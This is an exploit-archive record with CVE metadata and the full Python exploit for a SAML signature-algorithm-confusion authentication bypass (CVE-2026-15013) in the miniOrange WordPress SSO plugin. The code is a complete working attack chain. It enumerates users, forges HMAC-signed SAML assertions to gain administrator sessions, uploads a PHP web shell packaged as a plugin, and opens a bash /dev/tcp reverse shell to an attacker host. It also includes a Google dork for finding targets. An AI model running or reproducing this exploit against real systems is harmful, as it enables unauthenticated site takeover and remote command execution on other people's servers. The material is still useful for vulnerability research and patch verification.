{"exploit":{"id":"EDB-52668","name":"miniOrange 5.4.3 - Unauthenticated Auth Bypass","description":"miniOrange 5.4.3 - Unauthenticated Auth Bypass","cves":["CVE-2026-15013"],"author":"zer0dayf","published":"2026-09-01","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52668","path":"exploits/multiple/webapps/52668.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52668.py","vulnerabilities":[{"id":"CVE-2026-15013","state":"PUBLISHED","title":"SAML Single Sign On <= 5.4.3 - Unauthenticated Authentication Bypass via 'SAMLResponse' Parameter Signature Algorithm Confusion","titleSource":"CVE Program","description":"The SAML Single Sign On – SSO Login plugin for WordPress is vulnerable to Authentication Bypass via SAML Signature Algorithm Confusion in all versions up to, and including, 5.4.3. The vulnerability exists because `Mo_SAML_Utilities::mo_saml_cast_key()` reads the `SignatureMethod` Algorithm attribute directly from the attacker-controlled `SAMLResponse` parameter rather than enforcing the locally configured algorithm, causing the plugin to recast the IdP's RSA public key as an HMAC-SHA1 shared secret and validate the forged signature against it. This makes it possible for unauthenticated attackers to forge a SAML assertion targeting any WordPress account — including administrators — obtain valid WordPress authentication cookies, and achieve full administrator-level account takeover.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-15013","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-15013"},"updatedAt":"2026-08-07T05:32:21.870Z","retrievedAt":"2026-11-25T16:13:46.922Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52668.png?v=2","url":"https://exploitbin.com/exploits/EDB-52668","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52668/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52668/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" # Exploit Title: miniOrange  5.4.3 - Unauthenticated Auth Bypass\n# Google Dork: inurl:/wp-content/plugins/miniorange-saml-20-single-sign-on/\n# Date: 2026-07-27\n# Exploit Author: zer0dayf\n# Vendor Homepage: https://plugins.wordpress.org/miniorange-saml-20-single-sign-on/\n# Software Link: https://downloads.wordpress.org/plugin/miniorange-saml-20-single-sign-on.5.4.3.zip\n# Version: <= 5.4.3\n# Tested on: WordPress 7.x + miniOrange SAML SSO 5.4.3\n# CVE : CVE-2026-15013\n\"\"\"\nCVE-2026-15013 — miniOrange SAML SSO <= 5.4.3\nHMAC signature algorithm confusion\nLab / authorized testing only.\n\nFlow: detect → enum users → fetch IdP cert → HMAC SAML → admin → shell → optional reverse\n\"\"\"\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport hashlib\nimport hmac\nimport io\nimport os\nimport re\nimport subprocess\nimport sys\nimport tempfile\nimport uuid\nimport zipfile\nfrom datetime import datetime, timedelta, timezone\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\nimport requests\nfrom lxml import etree\n\nrequests.packages.urllib3.disable_warnings()\n\nNS_SAMLP = \"urn:oasis:names:tc:SAML:2.0:protocol\"\nNS_SAML = \"urn:oasis:names:tc:SAML:2.0:assertion\"\nNS_DS = \"http://www.w3.org/2000/09/xmldsig#\"\nC14N = \"http://www.w3.org/2001/10/xml-exc-c14n#\"\nENVSIG = \"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"\nHMAC_URI = \"http://www.w3.org/2000/09/xmldsig#hmac-sha1\"\nSHA1_URI = \"http://www.w3.org/2000/09/xmldsig#sha1\"\nPLUGIN_PATH = \"/wp-content/plugins/miniorange-saml-20-single-sign-on/\"\nVULN_MAX = (5, 4, 3)\n\nSHELL_PHP = r\"\"\"<?php\n/**\n * Plugin Name: exp\n * Version: 1.0\n */\nif (!isset($_GET[\"c\"])) {\n    header(\"Content-Type: text/plain\");\n    echo \"exp cmd shell\\nUsage: ?c=id\\n\";\n    exit;\n}\n$c = $_GET[\"c\"];\nheader(\"Content-Type: text/plain; charset=utf-8\");\necho \">>> \" . $c . \"\\n\\n\";\nif (function_exists(\"shell_exec\")) {\n    echo shell_exec($c . \" 2>&1\");\n} else {\n    echo \"no shell_exec\\n\";\n}\n\"\"\"\n\n\ndef norm(url: str) -> str:\n    url = url.strip().rstrip(\"/\")\n    if not url.startswith((\"http://\", \"https://\")):\n        url = \"http://\" + url\n    return url\n\n\ndef ver_tuple(s: str):\n    try:\n        return tuple(int(x) for x in s.split(\".\")[:3])\n    except Exception:\n        return (0, 0, 0)\n\n\ndef now_iso(m=0):\n    return (datetime.now(timezone.utc) + timedelta(minutes=m)).strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n\n\ndef session():\n    s = requests.Session()\n    s.verify = False\n    s.headers[\"User-Agent\"] = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36\"\n    return s\n\n\ndef is_wp(s, base):\n    for p in (\"/wp-login.php\", \"/wp-json/\", \"/wp-includes/js/jquery/jquery.min.js\"):\n        try:\n            if s.get(base + p, timeout=10).status_code == 200:\n                return True\n        except Exception:\n            pass\n    return False\n\n\ndef detect_plugin(s, base):\n    try:\n        r = s.get(base + PLUGIN_PATH + \"readme.txt\", timeout=10)\n        if r.status_code == 200:\n            m = re.search(r\"Stable tag:\\s*(\\S+)\", r.text)\n            if m:\n                return m.group(1)\n    except Exception:\n        pass\n    return None\n\n\ndef discover_sp(s, base):\n    acs, eid, issuer = base + \"/\", base + PLUGIN_PATH, \"\"\n    try:\n        r = s.get(base + \"/?option=mosaml_metadata\", timeout=12)\n        if r.status_code == 200 and \"EntityDescriptor\" in r.text:\n            m = re.search(r'entityID=\"([^\"]+)\"', r.text)\n            if m:\n                eid = m.group(1)\n            m = re.search(r'Location=\"([^\"]+)\"', r.text)\n            if m:\n                acs = m.group(1)\n    except Exception:\n        pass\n    try:\n        r = s.get(base + \"/?option=saml_user_login\", timeout=12, allow_redirects=False)\n        if r.status_code in (301, 302, 303, 307):\n            loc = r.headers.get(\"Location\", \"\")\n            pu = urlparse(loc)\n            if pu.scheme and pu.netloc:\n                issuer = f\"{pu.scheme}://{pu.netloc}\"\n                parts = [x for x in pu.path.split(\"/\") if x]\n                if \"realms\" in parts:\n                    i = parts.index(\"realms\")\n                    if i + 1 < len(parts):\n                        issuer = f\"{pu.scheme}://{pu.netloc}/realms/{parts[i + 1]}\"\n    except Exception:\n        pass\n    return acs, eid, issuer\n\n\ndef enum_users(s, base):\n    found, seen = [], set()\n\n    def add(u):\n        if not u:\n            return\n        u = str(u).strip().split(\"/\")[-1]\n        if not u or u in seen:\n            return\n        if not re.match(r\"^[\\w.@+-]{1,60}$\", u):\n            return\n        seen.add(u)\n        found.append(u)\n\n    for ep in (f\"{base}/wp-json/wp/v2/users\", f\"{base}/?rest_route=/wp/v2/users\"):\n        try:\n            r = s.get(ep, params={\"per_page\": 100}, timeout=12)\n            if r.status_code == 200 and isinstance(r.json(), list):\n                for u in r.json():\n                    add(u.get(\"slug\"))\n                    add(u.get(\"name\"))\n                    add(u.get(\"username\"))\n        except Exception:\n            pass\n\n    for uid in range(1, 30):\n        for ep in (\n            f\"{base}/wp-json/wp/v2/users/{uid}\",\n            f\"{base}/?rest_route=/wp/v2/users/{uid}\",\n        ):\n            try:\n                r = s.get(ep, timeout=8)\n                if r.status_code == 200:\n                    j = r.json()\n                    add(j.get(\"slug\"))\n                    add(j.get(\"name\"))\n                    add(j.get(\"username\"))\n                    break\n            except Exception:\n                continue\n\n    for q in list(\"abcdefghijklmnopqrstuvwxyz0123456789\") + [\"admin\", \"user\", \"test\"]:\n        try:\n            r = s.get(\n                f\"{base}/wp-json/wp/v2/users\",\n                params={\"search\": q, \"per_page\": 100},\n                timeout=8,\n            )\n            if r.status_code == 200 and isinstance(r.json(), list):\n                for u in r.json():\n                    add(u.get(\"slug\"))\n                    add(u.get(\"name\"))\n        except Exception:\n            pass\n\n    for uid in range(1, 40):\n        try:\n            r = s.get(f\"{base}/?author={uid}\", timeout=8, allow_redirects=False)\n            m = re.search(r\"/author/([^/?&#]+)\", r.headers.get(\"Location\", \"\"))\n            if m:\n                add(m.group(1))\n            r2 = s.get(f\"{base}/?author={uid}\", timeout=8, allow_redirects=True)\n            if r2.status_code == 200:\n                for m in re.finditer(r\"/author/([a-zA-Z0-9._-]+)\", r2.text[:12000]):\n                    add(m.group(1))\n                for m in re.finditer(r\"author-([a-zA-Z0-9_-]+)\", r2.text[:12000]):\n                    add(m.group(1))\n        except Exception:\n            pass\n\n    for path in (\"/\", \"/feed/\", \"/comments/feed/\"):\n        try:\n            r = s.get(base + path, timeout=10)\n            if r.status_code == 200:\n                for m in re.finditer(r\"/author/([a-zA-Z0-9._-]+)\", r.text[:40000]):\n                    add(m.group(1))\n        except Exception:\n            pass\n\n    for c in (\"admin\", \"administrator\", \"root\", \"webmaster\"):\n        add(c)\n\n    common = {\"admin\", \"administrator\", \"root\", \"webmaster\"}\n    prio = [u for u in found if u.lower() in common]\n    rest = [u for u in found if u.lower() not in common]\n    out, seen2 = [], set()\n    for u in prio + rest:\n        if u not in seen2:\n            seen2.add(u)\n            out.append(u)\n    return out\n\n\ndef cert_b64_to_pubkey_pem(cert_b64: str) -> bytes:\n    cert_b64 = re.sub(r\"\\s+\", \"\", cert_b64)\n    pem = \"-----BEGIN CERTIFICATE-----\\n\"\n    for i in range(0, len(cert_b64), 64):\n        pem += cert_b64[i : i + 64] + \"\\n\"\n    pem += \"-----END CERTIFICATE-----\\n\"\n    fd, crt = tempfile.mkstemp(suffix=\".crt\")\n    os.close(fd)\n    try:\n        with open(crt, \"w\") as f:\n            f.write(pem)\n        out = subprocess.check_output(\n            [\"openssl\", \"x509\", \"-in\", crt, \"-pubkey\", \"-noout\"],\n            stderr=subprocess.DEVNULL,\n        )\n    finally:\n        try:\n            os.unlink(crt)\n        except Exception:\n            pass\n    if b\"BEGIN PUBLIC KEY\" not in out:\n        raise RuntimeError(\"openssl pubkey failed\")\n    return out\n\n\ndef fetch_hmac_key_from_idp(s, issuer: str) -> bytes:\n    issuer = issuer.rstrip(\"/\")\n    urls = [\n        issuer + \"/protocol/saml/descriptor\",\n        issuer + \"/descriptor\",\n    ]\n    last = None\n    for url in urls:\n        try:\n            r = s.get(url, timeout=12)\n            if r.status_code != 200:\n                continue\n            certs = re.findall(\n                r\"<[^>]*X509Certificate[^>]*>([^<]+)</[^>]*X509Certificate>\",\n                r.text,\n                flags=re.I,\n            )\n            if not certs:\n                continue\n            return cert_b64_to_pubkey_pem(certs[0])\n        except Exception as e:\n            last = e\n    raise RuntimeError(f\"IdP metadata cert not found ({last})\")\n\n\ndef resolve_hmac_key(s, issuer: str, key_path: str) -> bytes:\n    if key_path:\n        p = Path(key_path)\n        if p.is_file() and p.stat().st_size > 0:\n            data = p.read_bytes()\n            if b\"BEGIN PUBLIC KEY\" in data or b\"BEGIN RSA PUBLIC KEY\" in data:\n                print(f\"    from file {key_path}\")\n                return data\n            if b\"BEGIN CERTIFICATE\" in data:\n                print(f\"    from cert file {key_path}\")\n                lines = [\n                    ln.strip()\n                    for ln in data.decode(errors=\"ignore\").splitlines()\n                    if \"BEGIN\" not in ln and \"END\" not in ln\n                ]\n                return cert_b64_to_pubkey_pem(\"\".join(lines))\n    print(f\"    from IdP metadata {issuer}\")\n    key = fetch_hmac_key_from_idp(s, issuer)\n    try:\n        Path(\"/tmp/php-pub.pem\").write_bytes(key)\n        print(\"    cached /tmp/php-pub.pem\")\n    except Exception:\n        pass\n    return key\n\n\ndef forge_saml(issuer, acs, sp_entity, nameid, hmac_key: bytes) -> str:\n    assert_id = \"_\" + uuid.uuid4().hex\n    resp_id = \"_\" + uuid.uuid4().hex\n    inst, nb, na = now_iso(), now_iso(-5), now_iso(60)\n    S = NS_SAML\n    a = etree.Element(f\"{{{S}}}Assertion\", nsmap={\"saml\": S})\n    a.set(\"ID\", assert_id)\n    a.set(\"IssueInstant\", inst)\n    a.set(\"Version\", \"2.0\")\n    etree.SubElement(a, f\"{{{S}}}Issuer\").text = issuer\n    subj = etree.SubElement(a, f\"{{{S}}}Subject\")\n    nid = etree.SubElement(subj, f\"{{{S}}}NameID\")\n    nid.set(\"Format\", \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\")\n    nid.text = nameid\n    sc = etree.SubElement(subj, f\"{{{S}}}SubjectConfirmation\")\n    sc.set(\"Method\", \"urn:oasis:names:tc:SAML:2.0:cm:bearer\")\n    scd = etree.SubElement(sc, f\"{{{S}}}SubjectConfirmationData\")\n    scd.set(\"NotOnOrAfter\", na)\n    scd.set(\"Recipient\", acs)\n    cond = etree.SubElement(a, f\"{{{S}}}Conditions\")\n    cond.set(\"NotBefore\", nb)\n    cond.set(\"NotOnOrAfter\", na)\n    ar = etree.SubElement(cond, f\"{{{S}}}AudienceRestriction\")\n    etree.SubElement(ar, f\"{{{S}}}Audience\").text = sp_entity\n    ast = etree.SubElement(a, f\"{{{S}}}AuthnStatement\")\n    ast.set(\"AuthnInstant\", inst)\n    ast.set(\"SessionIndex\", assert_id)\n    actx = etree.SubElement(ast, f\"{{{S}}}AuthnContext\")\n    etree.SubElement(actx, f\"{{{S}}}AuthnContextClassRef\").text = (\n        \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\"\n    )\n    dig = base64.b64encode(\n        hashlib.sha1(etree.tostring(a, method=\"c14n\", exclusive=True)).digest()\n    ).decode()\n    D = NS_DS\n    si = etree.Element(f\"{{{D}}}SignedInfo\", nsmap={\"ds\": D})\n    etree.SubElement(si, f\"{{{D}}}CanonicalizationMethod\").set(\"Algorithm\", C14N)\n    etree.SubElement(si, f\"{{{D}}}SignatureMethod\").set(\"Algorithm\", HMAC_URI)\n    ref = etree.SubElement(si, f\"{{{D}}}Reference\")\n    ref.set(\"URI\", \"#\" + assert_id)\n    tr = etree.SubElement(ref, f\"{{{D}}}Transforms\")\n    etree.SubElement(tr, f\"{{{D}}}Transform\").set(\"Algorithm\", ENVSIG)\n    etree.SubElement(tr, f\"{{{D}}}Transform\").set(\"Algorithm\", C14N)\n    etree.SubElement(ref, f\"{{{D}}}DigestMethod\").set(\"Algorithm\", SHA1_URI)\n    etree.SubElement(ref, f\"{{{D}}}DigestValue\").text = dig\n    sig_b64 = base64.b64encode(\n        hmac.new(\n            hmac_key, etree.tostring(si, method=\"c14n\", exclusive=True), hashlib.sha1\n        ).digest()\n    ).decode()\n    sig = etree.Element(f\"{{{D}}}Signature\", nsmap={\"ds\": D})\n    sig.append(si)\n    etree.SubElement(sig, f\"{{{D}}}SignatureValue\").text = sig_b64\n    a_str = etree.tostring(a, encoding=\"unicode\")\n    pos = a_str.find(\"</saml:Issuer>\") + len(\"</saml:Issuer>\")\n    body = a_str[:pos] + etree.tostring(sig, encoding=\"unicode\") + a_str[pos:]\n    P = NS_SAMLP\n    resp = (\n        f'<samlp:Response xmlns:samlp=\"{P}\" xmlns:saml=\"{S}\"'\n        f' Destination=\"{acs}\" ID=\"{resp_id}\" IssueInstant=\"{inst}\" Version=\"2.0\">'\n        f\"<saml:Issuer>{issuer}</saml:Issuer>\"\n        f'<samlp:Status><samlp:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/></samlp:Status>'\n        f\"{body}</samlp:Response>\"\n    )\n    return base64.b64encode(resp.encode()).decode()\n\n\ndef try_login(base, acs, eid, issuer, nameid, hmac_key):\n    s = session()\n    b64 = forge_saml(issuer, acs, eid, nameid, hmac_key)\n    s.post(\n        acs,\n        data={\"SAMLResponse\": b64, \"RelayState\": \"/wp-admin/\"},\n        timeout=20,\n        allow_redirects=True,\n    )\n    if not any(\"wordpress_logged_in\" in c.name for c in s.cookies):\n        return None, \"no_cookie\"\n    r = s.get(\n        base + \"/wp-admin/plugin-install.php?tab=upload\",\n        timeout=15,\n        allow_redirects=True,\n    )\n    if r.status_code == 200 and \"wp-login\" not in r.url and \"_wpnonce\" in r.text:\n        return s, \"admin\"\n    r2 = s.get(base + \"/wp-admin/\", timeout=12, allow_redirects=True)\n    if r2.status_code == 200 and \"wp-login\" not in r2.url:\n        return s, \"user\"\n    return s, \"cookie_only\"\n\n\ndef mk_zip():\n    buf = io.BytesIO()\n    with zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as z:\n        z.writestr(\"exp/shell.php\", SHELL_PHP)\n        z.writestr(\"exp/readme.txt\", \"=== exp ===\\nStable tag: 1.0\\n\")\n    return buf.getvalue()\n\n\ndef upload_shell(s, base):\n    r = s.get(base + \"/wp-admin/plugin-install.php?tab=upload\", timeout=20)\n    m = re.search(r'name=\"_wpnonce\"\\s+value=\"([^\"]+)\"', r.text)\n    if not m:\n        return None, \"no_nonce\"\n    ur = s.post(\n        base + \"/wp-admin/update.php?action=upload-plugin\",\n        data={\n            \"_wpnonce\": m.group(1),\n            \"_wp_http_referer\": \"/wp-admin/plugin-install.php?tab=upload\",\n            \"install-plugin-submit\": \"Install Now\",\n        },\n        files={\"pluginzip\": (\"exp.zip\", mk_zip(), \"application/zip\")},\n        timeout=30,\n        allow_redirects=True,\n    )\n    shell = base + \"/wp-content/plugins/exp/shell.php\"\n    c = s.get(shell, timeout=12)\n    if c.status_code == 200 and (\"exp\" in c.text or \"Usage\" in c.text):\n        return shell, \"ok\"\n    return shell, f\"upload={ur.status_code} shell={c.status_code}\"\n\n\ndef reverse_shell(s, shell_url, lhost, lport):\n    cmd = f\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\"\n    try:\n        s.get(shell_url, params={\"c\": cmd}, timeout=5)\n    except requests.exceptions.ReadTimeout:\n        pass\n    return True\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"CVE-2026-15013 lab PoC\")\n    ap.add_argument(\"-u\", \"--url\", required=True, help=\"WordPress base URL (required)\")\n    ap.add_argument(\n        \"-k\",\n        \"--hmac-key\",\n        default=\"\",\n        help=\"PEM pubkey/cert file; empty = fetch from IdP SAML metadata\",\n    )\n    ap.add_argument(\"--issuer\", default=\"\")\n    ap.add_argument(\"--acs\", default=\"\")\n    ap.add_argument(\"--nameid\", default=\"\")\n    ap.add_argument(\"--lhost\", default=\"\")\n    ap.add_argument(\"--lport\", type=int, default=4444)\n    ap.add_argument(\"--no-shell\", action=\"store_true\")\n    ap.add_argument(\"--no-reverse\", action=\"store_true\")\n    args = ap.parse_args()\n\n    base = norm(args.url)\n    s = session()\n\n    print(f\"[1] WordPress @ {base}\")\n    if not is_wp(s, base):\n        sys.exit(\"[-] not WordPress\")\n    print(\"    OK\")\n\n    print(\"[2] Plugin\")\n    ver = detect_plugin(s, base)\n    if not ver:\n        sys.exit(\"[-] miniOrange SAML not found\")\n    print(f\"    version={ver}\")\n    if ver_tuple(ver) > VULN_MAX:\n        sys.exit(f\"[-] {ver} > 5.4.3 (HMAC path patched)\")\n\n    print(\"[3] SP / IdP\")\n    acs, eid, issuer = discover_sp(s, base)\n    if args.acs:\n        acs = args.acs\n    if args.issuer:\n        issuer = args.issuer\n    if not issuer:\n        sys.exit(\"[-] IdP issuer not found (SSO redirect). Pass --issuer https://idp/.../realms/xxx\")\n    print(f\"    ACS={acs}\")\n    print(f\"    Audience={eid}\")\n    print(f\"    Issuer={issuer}\")\n\n    print(\"[3b] HMAC key\")\n    try:\n        hmac_key = resolve_hmac_key(s, issuer, args.hmac_key)\n    except Exception as e:\n        sys.exit(f\"[-] HMAC key: {e}\")\n\n    print(\"[4] Users\")\n    users = [args.nameid] if args.nameid else enum_users(s, base)\n    print(f\"    {users}\")\n\n    print(\"[5] HMAC SAML login\")\n    admin_sess = admin_user = None\n    for nameid in users:\n        sess, st = try_login(base, acs, eid, issuer, nameid, hmac_key)\n        print(f\"    {nameid} → {st}\")\n        if st == \"admin\":\n            admin_sess, admin_user = sess, nameid\n            break\n    if not admin_sess:\n        sys.exit(\"[-] no admin session (need install_plugins user)\")\n\n    print(f\"[+] ADMIN as {admin_user}\")\n\n    if args.no_shell:\n        return\n\n    print(\"[6] Shell\")\n    shell, st = upload_shell(admin_sess, base)\n    print(f\"    {st} → {shell}\")\n    if st != \"ok\":\n        sys.exit(\"[-] shell failed\")\n    print(admin_sess.get(shell, params={\"c\": \"id\"}, timeout=10).text)\n\n    if args.no_reverse or not args.lhost:\n        print(\"[*] reverse: nc -lvnp 4444 && re-run with --lhost IP\")\n        return\n\n    print(f\"[7] Reverse {args.lhost}:{args.lport}\")\n    reverse_shell(admin_sess, shell, args.lhost, args.lport)\n    print(\"    payload sent\")\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"d71f4323283d6839c834ea040235360781ae3ffde6896fe3dee2b457e1c382d7","bytes":17934,"fetchedAt":"2026-11-25T10:17:06.942Z","encoding":"utf-8 (display only; download retains original bytes)"}